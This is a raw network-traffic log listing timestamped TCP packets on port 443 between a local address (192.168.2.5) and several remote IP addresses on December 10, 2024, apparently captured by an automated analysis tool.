Dec 10, 2024 00:06:39.990087032 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.990092993 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:39.990143061 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.004221916 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.004228115 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.004281044 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.018407106 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.018462896 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.025670052 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.025727034 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.080743074 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.080801010 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.086422920 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.086478949 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.097403049 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.097455025 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.107742071 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.107794046 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.107805014 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.107848883 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117414951 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.117471933 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117491961 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.117543936 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117548943 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.117571115 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.117590904 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117619038 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117743969 CET	49742	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.117757082 CET	443	49742	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.120873928 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:40.120930910 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.120989084 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:40.121220112 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:40.121229887 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.160572052 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:40.207329988 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:40.297648907 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.297696114 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.297750950 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.298124075 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:40.298134089 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:40.498673916 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:40.498760939 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:40.498826027 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:40.501156092 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:40.501173019 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:40.639715910 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:40.639755011 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:40.639816999 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:40.640038013 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:40.640048981 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:40.970207930 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.970535994 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:40.970547915 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.970814943 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.971131086 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:40.971177101 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:40.971273899 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.011332989 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.026133060 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.376753092 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.377002954 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.377024889 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.377379894 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.377687931 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.377751112 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.377818108 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.420479059 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.420543909 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.421179056 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.421367884 CET	49749	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.421380043 CET	443	49749	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.423332930 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.541783094 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:41.542335987 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:41.542357922 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:41.542668104 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:41.543195963 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:41.543253899 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:41.543335915 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:41.543364048 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:41.543401957 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:41.598006964 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:41.815233946 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.815279961 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.815320015 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.815327883 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.815351963 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.815401077 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.815407038 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.823529959 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.823592901 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.823600054 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.827583075 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.827634096 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.827639103 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.843491077 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.843575954 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.843595982 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.897984982 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.914827108 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:41.915050030 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:41.915062904 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:41.916184902 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:41.916250944 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:41.917295933 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:41.917366982 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:41.917558908 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:41.917567015 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:41.934364080 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:41.959359884 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:41.974968910 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:41.974983931 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.022850037 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.024693012 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.029989958 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.030051947 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.030061007 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.040086985 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.040154934 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.040163040 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.046390057 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.046447992 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.046453953 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.054073095 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.054133892 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.054141045 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.069870949 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.069942951 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.069951057 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.076824903 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.076868057 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.076916933 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.076920033 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.076941967 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.076977968 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.076982975 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.077290058 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.077291965 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.077325106 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.077336073 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.077341080 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.077356100 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.077362061 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.077399015 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.083754063 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.085467100 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.085542917 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.085549116 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.090720892 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.090783119 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.090790033 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.093594074 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.093653917 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.093673944 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.097682953 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.097743034 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.097752094 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.105429888 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.105499029 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.105508089 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.112200022 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.112258911 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.112272024 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.148448944 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.148472071 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.164397001 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.164414883 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.193842888 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.213161945 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.216835022 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.219573975 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.219640017 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.219649076 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.224936008 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.225009918 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.225017071 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.235608101 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.235707045 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.235718966 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.235759020 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.245587111 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.245600939 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.245661974 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.245671988 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.245718956 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.255006075 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.255014896 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.255075932 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.264780998 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.264789104 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.264863014 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.268608093 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.269465923 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.269476891 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.269520998 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.272507906 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.272558928 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.272583008 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.277388096 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.277400017 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.277462959 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.278739929 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.278789043 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.278794050 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.283902884 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.283968925 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.286446095 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.286504030 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.286509991 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.287184954 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.287233114 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.293570042 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.293633938 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.300018072 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.300100088 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.302021027 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.302052975 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.302073002 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.302094936 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.302130938 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.303294897 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.303348064 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.309585094 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.309653044 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.309771061 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.314527988 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.314589977 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.317508936 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.317564964 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.317584038 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.325264931 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.325325012 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.325330019 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.333132982 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.333192110 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.333198071 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.340919971 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.340982914 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.340989113 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.348679066 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.348732948 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.348738909 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.395694017 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:42.395765066 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:42.395826101 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:42.395965099 CET	49752	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:42.395983934 CET	443	49752	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:42.396466017 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:42.396502018 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:42.396569014 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:42.396759987 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.397346020 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:42.397363901 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:42.408703089 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.408771038 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.410171032 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.410224915 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.413027048 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.413079023 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.413099051 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.413110018 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.413151026 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.413168907 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.413177967 CET	443	49750	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.413186073 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.413222075 CET	49750	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.460689068 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.464191914 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.464251995 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.464272976 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.471729994 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.471779108 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.471784115 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.478866100 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.478920937 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.478940010 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.486150980 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.486203909 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.486210108 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.500005007 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.500075102 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.500081062 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.500121117 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.513679981 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.513688087 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.513744116 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.513799906 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.513842106 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.527491093 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.527498960 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.527585983 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.541232109 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.541239977 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.541313887 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.548312902 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.548372984 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.562066078 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.562139988 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.575790882 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.575864077 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.589548111 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.589602947 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.655236006 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.655337095 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.661864042 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.661941051 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.667165041 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.667234898 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.677355051 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.677438974 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.687027931 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.687108994 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.696124077 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.696211100 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.700745106 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.700803041 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.709450960 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.709522963 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.717705965 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.717771053 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.721901894 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.721959114 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.728307962 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.728367090 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.733170033 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.733226061 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.735757113 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.735816956 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.740612984 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.740679979 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.743016958 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.743063927 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.743073940 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.743105888 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.743161917 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.743181944 CET	49751	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:42.743196964 CET	443	49751	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:42.746328115 CET	49759	443	192.168.2.5	104.18.94.41
